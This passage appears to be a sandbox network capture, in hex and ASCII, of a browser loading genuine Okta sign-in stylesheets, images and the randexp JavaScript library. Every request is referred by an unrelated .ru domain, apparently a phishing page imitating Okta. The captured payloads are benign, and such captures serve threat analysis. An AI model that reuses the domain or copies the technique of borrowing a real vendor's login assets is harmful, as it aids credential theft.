6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 Data Ascii: in .scan-instructions .qrcode-error{background:url(../img/ui/indicators/scanerror.png) no-repeat 50%}#okta-sign-in .scan-instructions .qrcode-error,#okta-sign-in .scan-instructions .qrcode-success{background-color:transparent;background-color:hsla(0,0%,10

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	649	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d2c570942164f5ee69dab53f43b0f1d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 5CK6yOt9eaYPP4pxIo_V1mAlDuTC-Nrghqj-dXidTIqibNk53zg_Qw== Age: 704100
2025-03-19 13:49:43 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	651	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	874	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 18:13:09 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 18:13:09 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 7a0989f96d7fa4864ba49c5b0d586bb2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: VAwXyOVOxo3ImFEgmo_jPL8DyYiVvDAJC9pRaQ94oWdMfp7W1kNr2A== Age: 588994
2025-03-19 13:49:43 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1129	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T134915Z&X-Amz-Expires=300&X-Amz-Signature=60f036a261c07777852747eeb75f489eb3e0eeb79a33523cce1eab2be2ed7faf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:44 UTC	841	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d91f6eaf-e01e-0032-2f18-13e122000000 x-ms-version: 2023-11-03 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Date: Wed, 19 Mar 2025 13:49:44 GMT Age: 4600 X-Served-By: cache-iad-kiad7000045-IAD, cache-mxp6959-MXP X-Cache: HIT, HIT X-Cache-Hits: 28567, 1 X-Timer: S1742392184.714423,VS0,VE1
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2025-03-19 13:49:44 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2025-03-19 13:49:44 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu